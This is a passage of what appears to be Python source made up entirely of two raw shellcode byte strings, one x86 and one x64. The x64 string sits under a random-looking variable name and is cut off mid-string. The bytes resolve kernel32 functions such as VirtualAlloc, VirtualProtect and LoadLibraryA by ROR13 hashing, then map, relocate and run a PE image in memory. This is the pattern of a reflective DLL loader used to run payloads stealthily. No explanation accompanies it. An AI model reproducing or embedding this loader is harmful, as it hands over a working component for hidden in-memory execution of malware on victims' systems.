\x04\x68\x00\x30\x00\x00\x55\xFF\x76\x34\xFF\x54\x24\x44\x8B\xD8\x89\x5C\x24\x2C\x85\xDB\x75\x13\x6A\x04\x68\x00\x30\x00\x00\x55\x50\xFF\x54\x24\x44\x8B\xD8\x89\x44\x24\x2C\xF6\x84\x24\x38\x01\x00\x00\x01\x74\x23\x8B\x47\x3C\x89\x43\x3C\x8B\x4F\x3C\x3B\x4E\x54\x73\x2E\x8B\xEF\x8D\x14\x0B\x2B\xEB\x8A\x04\x2A\x41\x88\x02\x42\x3B\x4E\x54\x72\xF4\xEB\x19\x33\xED\x39\x6E\x54\x76\x12\x8B\xD7\x8B\xCB\x2B\xD3\x8A\x04\x11\x45\x88\x01\x41\x3B\x6E\x54\x72\xF4\x8B\x6B\x3C\x33\xC9\x03\xEB\x89\x4C\x24\x10\x33\xC0\x89\x6C\x24\x28\x0F\xB7\x55\x14\x83\xC2\x28\x66\x3B\x45\x06\x73\x31\x03\xD5\x33\xF6\x39\x32\x76\x19\x8B\x42\x04\x8B\x4A\xFC\x03\xC6\x03\xCB\x8A\x04\x38\x88\x04\x31\x46\x3B\x32\x72\xEB\x8B\x4C\x24\x10\x0F\xB7\x45\x06\x41\x83\xC2\x28\x89\x4C\x24\x10\x3B\xC8\x72\xD1\x8B\xC3\xC7\x84\x24\xBC\x00\x00\x00\x01\x00\x00\x00\x2B\x45\x34\x89\x44\x24\x24\x0F\x84\xC4\x00\x00\x00\x83\xBD\xA4\x00\x00\x00\x00\x0F\x84\xB7\x00\x00\x00\x8B\xB5\xA0\x00\x00\x00\x03\xF3\x83\x3E\x00\x0F\x84\xA6\x00\x00\x00\x6A\x02\x8B\xF8\x5D\x8D\x56\x08\xEB\x75\x0F\xB7\x02\x89\x44\x24\x10\x0F\xB7\xC8\x66\xC1\xE8\x0C\x66\x83\xF8\x0A\x75\x28\x8B\x16\x8B\x4C\x24\x10\x81\xE1\xFF\x0F\x00\x00\x89\x4C\x24\x10\x8D\x04\x1A\x8B\x0C\x08\x8D\x04\x1A\x8B\x54\x24\x10\x03\xCF\x89\x0C\x10\x8B\x54\x24\x24\xEB\x37\x66\x83\xF8\x03\x75\x0D\x81\xE1\xFF\x0F\x00\x00\x03\x0E\x01\x3C\x19\xEB\x24\x66\x3B\x84\x24\xBC\x00\x00\x00\x75\x07\x8B\xC7\xC1\xE8\x10\xEB\x08\x66\x3B\xC5\x75\x0E\x0F\xB7\xC7\x81\xE1\xFF\x0F\x00\x00\x03\x0E\x01\x04\x19\x03\xD5\x8B\x46\x04\x03\xC6\x89\x54\x24\x24\x3B\xD0\x0F\x85\x7A\xFF\xFF\xFF\x83\x3A\x00\x8B\xF2\x0F\x85\x6A\xFF\xFF\xFF\x8B\x6C\x24\x28\x8B\xBC\x24\x28\x01\x00\x00\x83\xBD\x84\x00\x00\x00\x00\x0F\x84\xD7\x01\x00\x00\x8B\xB5\x80\x00\x00\x00\x33\xC0\x89\x44\x24\x10\x8D\x0C\x1E\x89\x4C\x24\x24\x83\xC1\x0C\x39\x01\x74\x0D\x8D\x49\x14\x40\x83\x39\x00\x75\xF7\x89\x44\x24\x10\x8B\x8C\x24\x38\x01\x00\x00\x8B\xD1\x83\xE2\x04\x89\x54\x24\x38\x8B\xD6\x0F\x84\xC3\x00\x00\x00\x83\xF8\x01\x0F\x86\xBA\x00\x00\x00\x83\xA4\x24\xBC\x00\x00\x00\x00\xC1\xE9\x10\x89\x8C\x24\x38\x01\x00\x00\x8D\x48\xFF\x89\x8C\x24\xC0\x00\x00\x00\x85\xC9\x0F\x84\xA1\x00\x00\x00\x8B\x74\x24\x24\x8B\xDE\x8B\xAC\x24\xBC\x00\x00\x00\x8B\xC8\x69\xFF\xFD\x43\x03\x00\x2B\xCD\x33\xD2\xB8\xFF\x7F\x00\x00\xF7\xF1\x81\xC7\xC3\x9E\x26\x00\x33\xD2\x89\xBC\x24\x28\x01\x00\x00\x6A\x05\x8D\x48\x01\x8B\xC7\xC1\xE8\x10\x8D\xBC\x24\xF0\x00\x00\x00\x25\xFF\x7F\x00\x00\xF7\xF1\x59\x03\xC5\x6B\xC0\x14\x6A\x05\x03\xC6\x45\x8B\xF0\xF3\xA5\x59\x8B\xF3\x8B\xF8\x8B\x44\x24\x10\xF3\xA5\x6A\x05\x8B\xFB\x8D\xB4\x24\xF0\x00\x00\x00\x59\xF3\xA5\x8B\xBC\x24\x28\x01\x00\x00\x83\xC3\x14\x8B\x74\x24\x24\x3B\xAC\x24\xC0\x00\x00\x00\x72\x87\x8B\x6C\x24\x28\x8B\x5C\x24\x2C\x8B\x95\x80\x00\x00\x00\xEB\x0B\x8B\x44\x24\x38\x89\x84\x24\x38\x01\x00\x00\x8D\x3C\x1A\x8B\x47\x0C\x89\x7C\x24\x2C\x85\xC0\x0F\x84\xB8\x00\x00\x00\x03\xC3\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\xD0\x89\x54\x24\x1C\x8B\x37\x8B\x6F\x10\x03\xF3\x03\xEB\x8B\x0E\x85\xC9\x74\x60\x8B\x7C\x24\x30\x85\xC9\x79\x09\x0F\xB7\x06\x55\x50\x6A\x00\xEB\x36\x83\xC1\x02\x33\xC0\x03\xCB\x89\x8C\x24\xC0\x00\x00\x00\x38\x01\x74\x0E\x40\x41\x80\x39\x00\x75\xF9\x8B\x8C\x24\xC0\x00\x00\x00\x55\x66\x89\x44\x24\x18\x66\x89\x44\x24\x1A\x8D\x44\x24\x18\x6A\x00\x89\x4C\x24\x20\x50\x52\xFF\xD7\x83\xC6\x04\x83\xC5\x04\x8B\x0E\x85\xC9\x74\x06\x8B\x54\x24\x1C\xEB\xA8\x8B\x7C\x24\x2C\x83\x7C\x24\x38\x00\x74\x1C\x33\xC0\x40\x39\x44\x24\x10\x76\x13\x69\x84\x24\x38\x01\x00\x00\xE8\x03\x00\x00\x50\xFF\x94\x24\xB0\x00\x00\x00\x8B\x47\x20\x83\xC7\x14\x89\x7C\x24\x2C\x85\xC0\x0F\x85\x4C\xFF\xFF\xFF\x8B\x6C\x24\x28\x83\xBD\xE4\x00\x00\x00\x00\x0F\x84\xAD\x00\x00\x00\x8B\x85\xE0\x00\x00\x00\x83\xC0\x04\x03\xC3\x89\x44\x24\x10\x8B\x00\x85\xC0\x0F\x84\x94\x00\x00\x00\x8B\x6C\x24\x10\x03\xC3\x50\xFF\x94\x24\xB4\x00\x00\x00\x8B\xC8\x89\x4C\x24\x1C\x8B\x75\x08\x8B\x7D\x0C\x03\xF3\x03\xFB\x83\x3E\x00\x74\x5B\x8B\x6C\x24\x30\x8B\x17\x85\xD2\x79\x09\x56\x0F\xB7\xC2\x50\x6A\x00\xEB\x30\x83\xC2\x02\x33\xC0\x03\xD3\x89\x54\x24\x38\x38\x02\x74\x0B\x40\x42\x80\x3A\x00\x75\xF9\x8B\x54\x24\x38\x56\x66\x89\x44\x24\x18\x66\x89\x44\x24\x1A\x8D\x44\x24\x18\x6A\x00\x89\x54\x24\x20\x50\x51\xFF\xD5\x83\xC6\x04\x83\xC7\x04\x83\x3E\x00\x74\x06\x8B\x4C\x24\x1C\xEB\xAD\x8B\x6C\x24\x10\x83\xC5\x20\x89\x6C\x24\x10\x8B\x45\x00\x85\xC0\x0F\x85\x74\xFF\xFF\xFF\x8B\x6C\x24\x28\x0F\xB7\x75\x14\x33\xC0\x83\xC6\x28\x33\xFF\x66\x3B\x45\x06\x0F\x83\xE5\x00\x00\x00\x03\xF5\xBA\x00\x00\x00\x40\x83\x3E\x00\x0F\x84\xC5\x00\x00\x00\x8B\x4E\x14\x8B\xC1\x25\x00\x00\x00\x20\x75\x0B\x85\xCA\x75\x07\x85\xC9\x78\x03\x40\xEB\x62\x85\xC0\x75\x30\x85\xCA\x75\x08\x85\xC9\x79\x04\x6A\x08\xEB\x51\x85\xC0\x75\x20\x85\xCA\x74\x08\x85\xC9\x78\x04\x6A\x02\xEB\x41\x85\xC0\x75\x10\x85\xCA\x74\x08\x85\xC9\x79\x04\x6A\x04\xEB\x31\x85\xC0\x74\x4A\x85\xCA\x75\x08\x85\xC9\x78\x04\x6A\x10\xEB\x21\x85\xC0\x74\x3A\x85\xCA\x75\x0B\x85\xC9\x79\x07\xB8\x80\x00\x00\x00\xEB\x0F\x85\xC0\x74\x27\x85\xCA\x74\x0D\x85\xC9\x78\x09\x6A\x20\x58\x89\x44\x24\x20\xEB\x1A\x85\xC0\x74\x12\x85\xCA\x74\x0E\x8B\x44\x24\x20\x85\xC9\x6A\x40\x5A\x0F\x48\xC2\xEB\xE4\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x09\x0D\x00\x02\x00\x00\x89\x44\x24\x20\x8D\x4C\x24\x20\x51\x50\x8B\x46\xFC\xFF\x36\x03\xC3\x50\xFF\x94\x24\xC4\x00\x00\x00\xBA\x00\x00\x00\x40\x0F\xB7\x45\x06\x47\x83\xC6\x28\x3B\xF8\x0F\x82\x22\xFF\xFF\xFF\x6A\x00\x6A\x00\x6A\xFF\xFF\x94\x24\xC4\x00\x00\x00\x83\xBD\xC4\x00\x00\x00\x00\x74\x26\x8B\x85\xC0\x00\x00\x00\x8B\x74\x18\x0C\x8B\x06\x85\xC0\x74\x16\x33\xED\x45\x6A\x00\x55\x53\xFF\xD0\x8D\x76\x04\x8B\x06\x85\xC0\x75\xF1\x8B\x6C\x24\x28\x33\xC0\x40\x50\x50\x8B\x45\x28\x53\x03\xC3\xFF\xD0\x83\xBC\x24\x2C\x01\x00\x00\x00\x0F\x84\xAB\x00\x00\x00\x83\x7D\x7C\x00\x0F\x84\xA1\x00\x00\x00\x8B\x55\x78\x03\xD3\x8B\x6A\x18\x85\xED\x0F\x84\x91\x00\x00\x00\x83\x7A\x14\x00\x0F\x84\x87\x00\x00\x00\x8B\x7A\x20\x8B\x4A\x24\x03\xFB\x83\x64\x24\x30\x00\x03\xCB\x85\xED\x74\x74\x8B\x37\xC7\x44\x24\x10\x00\x00\x00\x00\x03\xF3\x74\x66\x8A\x06\x84\xC0\x74\x1A\x8B\x6C\x24\x10\x0F\xBE\xC0\x03\xE8\xC1\xCD\x0D\x46\x8A\x06\x84\xC0\x75\xF1\x89\x6C\x24\x10\x8B\x6A\x18\x8B\x84\x24\x2C\x01\x00\x00\x3B\x44\x24\x10\x75\x04\x85\xC9\x75\x15\x8B\x44\x24\x30\x83\xC7\x04\x40\x83\xC1\x02\x89\x44\x24\x30\x3B\xC5\x72\xAE\xEB\x20\x0F\xB7\x09\x8B\x42\x1C\xFF\xB4\x24\x34\x01\x00\x00\xFF\xB4\x24\x34\x01\x00\x00\x8D\x04\x88\x8B\x04\x18\x03\xC3\xFF\xD0\x59\x59\x8B\xC3\xEB\x02\x33\xC0\x5F\x5E\x5D\x5B\x81\xC4\x14\x01\x00\x00\xC3\x83\xEC\x14\x64\xA1\x30\x00\x00\x00\x53\x55\x56\x8B\x40\x0C\x57\x89\x4C\x24\x1C\x8B\x78\x0C\xE9\xA5\x00\x00\x00\x8B\x47\x30\x33\xF6\x8B\x5F\x2C\x8B\x3F\x89\x44\x24\x10\x8B\x42\x3C\x89\x7C\x24\x14\x8B\x6C\x10\x78\x89\x6C\x24\x18\x85\xED\x0F\x84\x80\x00\x00\x00\xC1\xEB\x10\x33\xC9\x85\xDB\x74\x2F\x8B\x7C\x24\x10\x0F\xBE\x2C\x0F\xC1\xCE\x0D\x80\x3C\x0F\x61\x89\x6C\x24\x10\x7C\x09\x8B\xC5\x83\xC0\xE0\x03\xF0\xEB\x04\x03\x74\x24\x10\x41\x3B\xCB\x72\xDD\x8B\x7C\x24\x14\x8B\x6C\x24\x18\x8B\x44\x2A\x20\x33\xDB\x8B\x4C\x2A\x18\x03\xC2\x89\x4C\x24\x10\x85\xC9\x74\x34\x8B\x38\x33\xED\x03\xFA\x83\xC0\x04\x89\x44\x24\x20\x8A\x0F\xC1\xCD\x0D\x0F\xBE\xC1\x03\xE8\x47\x84\xC9\x75\xF1\x8B\x7C\x24\x14\x8D\x04\x2E\x3B\x44\x24\x1C\x74\x20\x8B\x44\x24\x20\x43\x3B\x5C\x24\x10\x72\xCC\x8B\x57\x18\x85\xD2\x0F\x85\x50\xFF\xFF\xFF\x33\xC0\x5F\x5E\x5D\x5B\x83\xC4\x14\xC3\x8B\x74\x24\x18\x8B\x44\x16\x24\x8D\x04\x58\x0F\xB7\x0C\x10\x8B\x44\x16\x1C\x8D\x04\x88\x8B\x04\x10\x03\xC2\xEB\xDB'
    YWjHqhRAuLM = b'\x48\x8B\xC4\x48\x89\x58\x08\x44\x89\x48\x20\x4C\x89\x40\x18\x89\x50\x10\x55\x56\x57\x41\x54\x41\x55\x41\x56\x41\x57\x48\x8D\x6C\x24\x90\x48\x81\xEC\x70\x01\x00\x00\x45\x33\xFF\xC7\x45\xD8\x6B\x00\x65\x00\x48\x8B\xF1\x4C\x89\x7D\xF8\xB9\x13\x9C\xBF\xBD\x4C\x89\x7D\xC8\x4C\x89\x7D\x08\x45\x8D\x4F\x65\x4C\x89\x7D\x10\x44\x88\x4D\xBC\x44\x88\x4D\xA2\x4C\x89\x7D\x00\x4C\x89\x7D\xF0\x4C\x89\x7D\x18\x44\x89\x7D\x24\x44\x89\x7C\x24\x2C\xC7\x45\xDC\x72\x00\x6E\x00\xC7\x45\xE0\x65\x00\x6C\x00\xC7\x45\xE4\x33\x00\x32\x00\xC7\x45\xE8\x2E\x00\x64\x00\xC7\x45\xEC\x6C\x00\x6C\x00\xC7\x44\x24\x40\x53\x6C\x65\x65\xC6\x44\x24\x44\x70\xC7\x44\x24\x58\x4C\x6F\x61\x64\xC7\x44\x24\x5C\x4C\x69\x62\x72\xC7\x44\x24\x60\x61\x72\x79\x41\xC7\x44\x24\x48\x56\x69\x72\x74\xC7\x44\x24\x4C\x75\x61\x6C\x41\xC7\x44\x24\x50\x6C\x6C\x6F\x63\xC7\x44\x24\x68\x56\x69\x72\x74\xC7\x44\x24\x6C\x75\x61\x6C\x50\xC7\x44\x24\x70\x72\x6F\x74\x65\x66\xC7\x44\x24\x74\x63\x74\xC7\x45\xA8\x46\x6C\x75\x73\xC7\x45\xAC\x68\x49\x6E\x73\xC7\x45\xB0\x74\x72\x75\x63\xC7\x45\xB4\x74\x69\x6F\x6E\xC7\x45\xB8\x43\x61\x63\x68\xC7\x44\x24\x78\x47\x65\x74\x4E\xC7\x44\x24\x7C\x61\x74\x69\x76\xC7\x45\x80\x65\x53\x79\x73\xC7\x45\x84\x74\x65\x6D\x49\x66\xC7\x45\x88\x6E\x66\xC6\x45\x8A\x6F\xC7\x45\x90\x52\x74\x6C\x41\xC7\x45\x94\x64\x64\x46\x75\xC7\x45\x98\x6E\x63\x74\x69\xC7\x45\x9C\x6F\x6E\x54\x61\x66\xC7\x45\xA0\x62\x6C\xE8\x7F\x08\x00\x00\xB9\xB5\x41\xD9\x5E\x48\x8B\xD8\xE8\x72\x08\x00\x00\x4C\x8B\xE8\x48\x89\x45\xD0\x48\x8D\x45\xD8\xC7\x45\x20\x18\x00\x18\x00\x4C\x8D\x4C\x24\x38\x48\x89\x45\x28\x4C\x8D\x45\x20\x33\xD2\x33\xC9\xFF\xD3\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x48\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xC8\xC7\x44\x24\x28\x0C\x00\x0C\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x68\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x00\xC7\x44\x24\x28\x0E\x00\x0E\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8D\x45\xA8\xC7\x44\x24\x28\x15\x00\x15\x00\x48\x8B\x4C\x24\x38\x4C\x8D\x4D\x08\x45\x33\xC0\x48\x89\x44\x24\x30\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x78\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x10\xC7\x44\x24\x28\x13\x00\x13\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x40\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xF0\xC7\x44\x24\x28\x05\x00\x05\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x45\x90\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\x18\xC7\x44\x24\x28\x13\x00\x13\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x48\x8B\x4C\x24\x38\x48\x8D\x44\x24\x58\x45\x33\xC0\x48\x89\x44\x24\x30\x4C\x8D\x4D\xF8\xC7\x44\x24\x28\x0C\x00\x0C\x00\x48\x8D\x54\x24\x28\x41\xFF\xD5\x4C\x39\x7D\xC8\x0F\x84\x1D\x07\x00\x00\x4C\x39\x7D\x00\x0F\x84\x13\x07\x00\x00\x4C\x39\x7D\xF0\x0F\x84\x09\x07\x00\x00\x4C\x39\x7D\x08\x0F\x84\xFF\x06\x00\x00\x48\x8B\x55\x10\x48\x85\xD2\x0F\x84\xF2\x06\x00\x00\x48\x63\x7E\x3C\x48\x03\xFE\x81\x3F\x50\x45\x00\x00\x0F\x85\xDF\x06\x00\x00\xB8\x64\x86\x00\x00\x66\x39\x47\x04\x0F\x85\xD0\x06\x00\x00\x45\x8D\x4F\x01\x44\x84\x4F\x38\x0F\x85\xC2\x06\x00\x00\x0F\xB7\x4F\x14\x41\x8B\xDF\x48\x83\xC1\x24\x66\x44\x3B\x7F\x06\x73\x25\x44\x0F\xB7\x47\x06\x48\x03\xCF\x44\x39\x79\x04\x8B\x47\x38\x0F\x45\x41\x04\x03\x01\x48\x8D\x49\x28\x3B\xC3\x0F\x46\xC3\x8B\xD8\x4D\x2B\xC1\x75\xE3\x48\x8D\x4D\x38\xFF\xD2\x8B\x55\x3C\x44\x8B\xC2\x44\x8D\x72\xFF\xF7\xDA\x44\x03\x77\x50\x49\x8D\x48\xFF\x8B\xC2\x4C\x23\xF0\x8B\xC3\x48\x03\xC8\x49\x8D\x40\xFF\x48\xF7\xD0\x48\x23\xC8\x4C\x3B\xF1\x0F\x85\x54\x06\x00\x00\x48\x8B\x4F\x30\x41\xBC\x00\x30\x00\x00\x45\x8B\xC4\x41\xB9\x04\x00\x00\x00\x49\x8B\xD6\xFF\x55\xC8\x48\x8B\xD8\x48\x85\xC0\x75\x12\x44\x8D\x48\x04\x45\x8B\xC4\x49\x8B\xD6\x33\xC9\xFF\x55\xC8\x48\x8B\xD8\x44\x8B\xA5\xD0\x00\x00\x00\x41\xBB\x01\x00\x00\x00\x45\x84\xE3\x74\x1D\x8B\x46\x3C\x89\x43\x3C\x8B\x56\x3C\xEB\x0B\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\xEB\x19\x41\x8B\xD7\x44\x39\x7F\x54\x76\x10\x8B\xCA\x41\x03\xD3\x8A\x04\x31\x88\x04\x19\x3B\x57\x54\x72\xF0\x48\x63\x7B\x3C\x45\x8B\xD7\x48\x03\xFB\x48\x89\x7D\x30\x44\x0F\xB7\x47\x14\x49\x83\xC0\x28\x66\x44\x3B\x7F\x06\x73\x3A\x4C\x03\xC7\x45\x8B\xCF\x45\x39\x38\x76\x1F\x41\x8B\x50\x04\x41\x8B\x48\xFC\x41\x8B\xC1\x45\x03\xCB\x48\x03\xC8\x48\x03\xD0\x8A\x04\x32\x88\x04\x19\x45\x3B\x08\x72\xE1\x0F\xB7\x47\x06\x45\x03\xD3\x49\x83\xC0\x28\x44\x3B\xD0\x72\xC9\x4C\x8B\xF3\x41\xB8\x02\x00\x00\x00\x4C\x2B\x77\x30\x0F\x84\xD6\x00\x00\x00\x44\x39\xBF\xB4\x00\x00\x00\x0F\x84\xC9\x00\x00\x00\x44\x8B\x8F\xB0\x00\x00\x00\x4C\x03\xCB\x45\x39\x39\x0F\x84\xB6\x00\x00\x00\x4D\x8D\x51\x08\xE9\x91\x00\x00\x00\x45\x0F\xB7\x1A\x41\x0F\xB7\xCB\x41\x0F\xB7\xC3\x66\xC1\xE9\x0C\x66\x83\xF9\x0A\x75\x29\x45\x8B\x01\x41\x81\xE3\xFF\x0F\x00\x00\x4B\x8D\x04\x18\x48\x8B\x14\x18\x4B\x8D\x04\x18\x41\xBB\x01\x00\x00\x00\x49\x03\xD6\x48\x89\x14\x18\x45\x8D\x43\x01\xEB\x4F\x41\xBB\x01\x00\x00\x00\x66\x83\xF9\x03\x75\x0E\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x8B\xC6\xEB\x2E\x66\x41\x3B\xCB\x75\x15\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x49\x8B\xC6\x48\xC1\xE8\x10\x0F\xB7\xC0\xEB\x13\x66\x41\x3B\xC8\x75\x14\x25\xFF\x0F\x00\x00\x48\x8D\x0C\x03\x41\x0F\xB7\xC6\x41\x8B\x11\x48\x01\x04\x0A\x4D\x03\xD0\x41\x8B\x41\x04\x49\x03\xC1\x4C\x3B\xD0\x0F\x85\x5F\xFF\xFF\xFF\x4D\x8B\xCA\x45\x39\x3A\x0F\x85\x4A\xFF\xFF\xFF\x44\x39\xBF\x94\x00\x00\x00\x0F\x84\x82\x01\x00\x00\x8B\x8F\x90\x00\x00\x00\x45\x8B\xEF\x4C\x8D\x04\x19\x49\x8D\x40\x0C\xEB\x07\x45\x03\xEB\x48\x8D\x40\x14\x44\x39\x38\x75\xF4\x41\x8B\xC4\x83\xE0\x04\x89\x45\xC0\x8B\xC1\x0F\x84\x89\x00\x00\x00\x45\x3B\xEB\x0F\x86\x80\x00\x00\x00\x41\xC1\xEC\x10\x45\x8D\x5D\xFF\x45\x8B\xD7\x45\x85\xDB\x74\x74\x4D\x8B\xC8\x41\xBE\xFF\x7F\x00\x00\x41\x0F\x10\x01\x33\xD2\x41\x8B\xCD\x41\x2B\xCA\x69\xF6\xFD\x43\x03\x00\x41\x8B\xC6\xF7\xF1\x33\xD2\x81\xC6\xC3\x9E\x26\x00\x8D\x48\x01\x8B\xC6\xC1\xE8\x10\x41\x23\xC6\xF7\xF1\x41\x03\xC2\x41\xFF\xC2\x48\x8D\x0C\x80\x41\x8B\x54\x88\x10\x41\x0F\x10\x0C\x88\x41\x0F\x11\x04\x88\x41\x8B\x41\x10\x41\x89\x44\x88\x10\x41\x0F\x11\x09\x41\x89\x51\x10\x4D\x8D\x49\x14\x45\x3B\xD3\x72\xA1\x8B\x87\x90\x00\x00\x00\xEB\x04\x44\x8B\x65\xC0\x8B\xF0\x48\x03\xF3\x8B\x46\x0C\x85\xC0\x0F\x84\xB1\x00\x00\x00\x8B\x7D\xC0\x8B\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x4C\x8B\xD0\x44\x8B\x36\x44\x8B\x7E\x10\x4C\x03\xF3\x4C\x03\xFB\x49\x8B\x0E\x48\x85\xC9\x74\x5F\x48\x85\xC9\x79\x08\x45\x0F\xB7\x06\x33\xD2\xEB\x32\x48\x8D\x53\x02\x33\xC0\x48\x03\xD1\x38\x02\x74\x0E\x48\x8B\xCA\x48\xFF\xC1\x48\xFF\xC0\x80\x39\x00\x75\xF5\x48\x89\x54\x24\x30\x45\x33\xC0\x48\x8D\x54\x24\x28\x66\x89\x44\x24\x28\x66\x89\x44\x24\x2A\x4D\x8B\xCF\x49\x8B\xCA\xFF\x55\xD0\x49\x83\xC6\x08\x49\x83\xC7\x08\x49\x8B\x0E\x48\x85\xC9\x74\x07\x4C\x8B\x54\x24\x38\xEB\xA1\x45\x33\xFF\x85\xFF\x74\x10\x41\x83\xFD\x01\x76\x0A\x41\x69\xCC\xE8\x03\x00\x00\xFF\x55\xF0\x8B\x46\x20\x48\x83\xC6\x14\x85\xC0\x0F\x85\x56\xFF\xFF\xFF\x48\x8B\x7D\x30\x4C\x8B\x6D\xD0\x44\x39\xBF\xF4\x00\x00\x00\x0F\x84\xA9\x00\x00\x00\x44\x8B\xBF\xF0\x00\x00\x00\x49\x83\xC7\x04\x4C\x03\xFB\x45\x33\xE4\x41\x8B\x07\x85\xC0\x0F\x84\x8A\x00\x00\x00\x8B\xC8\x48\x03\xCB\xFF\x55\xF8\x48\x89\x44\x24\x38\x48\x8B\xC8\x41\x8B\x77\x08\x45\x8B\x77\x0C\x48\x03\xF3\x4C\x03\xF3\x4C\x39\x26\x74\x5E\x49\x8B\x16\x48\x85\xD2\x79\x08\x44\x0F\xB7\xC2\x33\xD2\xEB\x34\x4C\x8D\x43\x02\x49\x8B\xC4\x4C\x03\xC2\x45\x38\x20\x74\x0E\x49\x8B\xD0\x48\xFF\xC2\x48\xFF\xC0\x44\x38\x22\x75\xF5\x4C\x89\x44\x24\x30\x48\x8D\x54\x24\x28\x45\x33\xC0\x66\x89\x44\x24\x28\x66\x89\x44\x24\x2A\x4C\x8B\xCE\x41\xFF\xD5\x48\x83\xC6\x08\x49\x83\xC6\x08\x4C\x39\x26\x74\x07\x48\x8B\x4C\x24\x38\xEB\xA2\x49\x83\xC7\x20\xE9\x6B\xFF\xFF\xFF\x45\x33\xFF\x0F\xB7\x77\x14\x45\x8B\xF7\x48\x83\xC6\x28\x41\xBC\x01\x00\x00\x00\x66\x44\x3B\x7F\x06\x0F\x83\x0B\x01\x00\x00\x48\x03\xF7\x44\x39\x3E\x0F\x84\xEB\x00\x00\x00\x8B\x46\x14\x8B\xC8\x81\xE1\x00\x00\x00\x20\x75\x17\x0F\xBA\xE0\x1E\x72\x11\x85\xC0\x78\x0D\x45\x8B\xC4\x44\x89\x64\x24\x20\xE9\xA4\x00\x00\x00\x85\xC9\x75\x3C\x0F\xBA\xE0\x1E\x72\x0A\x85\xC0\x79\x06\x44\x8D\x41\x08\xEB\x68\x85\xC9\x75\x28\x0F\xBA\xE0\x1E\x73\x0A\x85\xC0\x78\x06\x44\x8D\x41\x02\xEB\x54\x85\xC9\x75\x14\x0F\xBA\xE0\x1E\x73\x0A\x85\xC0\x79\x06\x44\x8D\x41\x04\xEB\x40\x85\xC9\x74\x5F\x0F\xBA\xE0\x1E\x72\x0C\x85\xC0\x78\x08\x41\xB8\x10\x00\x00\x00\xEB\x2A\x85\xC9\x74\x49\x0F\xBA\xE0\x1E\x72\x0C\x85\xC0\x79\x08\x41\xB8\x80\x00\x00\x00\xEB\x14\x85\xC9\x74\x33\x0F\xBA\xE0\x1E\x73\x11\x85\xC0\x78\x0D\x41\xB8\x20\x00\x00\x00\x44\x89\x44\x24\x20\xEB\x21\x85\xC9\x74\x18\x0F\xBA\xE0\x1E\x73\x12\x44\x8B\x44\x24\x20\x85\xC0\xB9\x40\x00\x00\x00\x44\x0F\x48\xC1\xEB\xDD\x44\x8B\x44\x24\x20\xF7\x46\x14\x00\x00\x00\x04\x74\x0A\x41\x0F\xBA\xE8\x09\x44\x89\x44\x24\x20\x8B\x4E\xFC\x4C\x8D\x4C\x24\x20\x8B\x16\x48\x03\xCB\xFF\x55\x00\x0F\xB7\x47\x06\x45\x03\xF4\x48\x83\xC6\x28\x44\x3B\xF0\x0F\x82\xF8\xFE\xFF\xFF\x45\x33\xC0\x33\xD2\x48\x83\xC9\xFF\xFF\x55\x08\x44\x39\xBF\xD4\x00\x00\x00\x74\x24\x8B\x87\xD0\x00\x00\x00\x48\x8B\x74\x18\x18\xEB\x0F\x45\x33\xC0\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x48\x8D\x76\x08\x48\x8B\x06\x48\x85\xC0\x75\xE9\x4C\x8B\x4D\x18\x4D\x85\xC9\x74\x2F\x8B\x87\xA4\x00\x00\x00\x85\xC0\x74\x25\x8B\xC8\x4C\x8B\xC3\x48\xB8\xAB\xAA\xAA\xAA\xAA\xAA\xAA\xAA\x48\xF7\xE1\x8B\x8F\xA0\x00\x00\x00\x48\xC1\xEA\x03\x48\x03\xCB\x41\x2B\xD4\x41\xFF\xD1\x8B\x47\x28\x4D\x8B\xC4\x48\x03\xC3\x41\x8B\xD4\x48\x8B\xCB\xFF\xD0\x8B\xB5\xB8\x00\x00\x00\x85\xF6\x0F\x84\x97\x00\x00\x00\x44\x39\xBF\x8C\x00\x00\x00\x0F\x84\x8A\x00\x00\x00\x8B\x8F\x88\x00\x00\x00\x48\x03\xCB\x44\x8B\x59\x18\x45\x85\xDB\x74\x78\x44\x39\x79\x14\x74\x72\x44\x8B\x49\x20\x41\x8B\xFF\x8B\x51\x24\x4C\x03\xCB\x48\x03\xD3\x45\x85\xDB\x74\x5D\x45\x8B\x01\x45\x8B\xD7\x4C\x03\xC3\x74\x52\xEB\x0D\x0F\xBE\xC0\x44\x03\xD0\x41\xC1\xCA\x0D\x4D\x03\xC4\x41\x8A\x00\x84\xC0\x75\xEC\x41\x3B\xF2\x75\x05\x48\x85\xD2\x75\x12\x41\x03\xFC\x49\x83\xC1\x04\x48\x83\xC2\x02\x41\x3B\xFB\x73\x22\xEB\xC3\x8B\x41\x1C\x0F\xB7\x0A\x48\x03\xC3\x8B\x95\xC8\x00\x00\x00\x44\x8B\x04\x88\x48\x8B\x8D\xC0\x00\x00\x00\x4C\x03\xC3\x41\xFF\xD0\x48\x8B\xC3\xEB\x02\x33\xC0\x48\x8B\x9C\x24\xB0\x01\x00\x00\x48\x81\xC4\x70\x01\x00\x00\x41\x5F\x41\x5E\x41\x5D\x41\x5C\x5F\x5E\x5D\xC3\xCC\x48\x8B\xC4\x48\x89\x58\x08\x48\x89\x68\x10\x48\x89\x70\x18\x48\x89\x78\x20\x41\x56\x48\x83\xEC\x1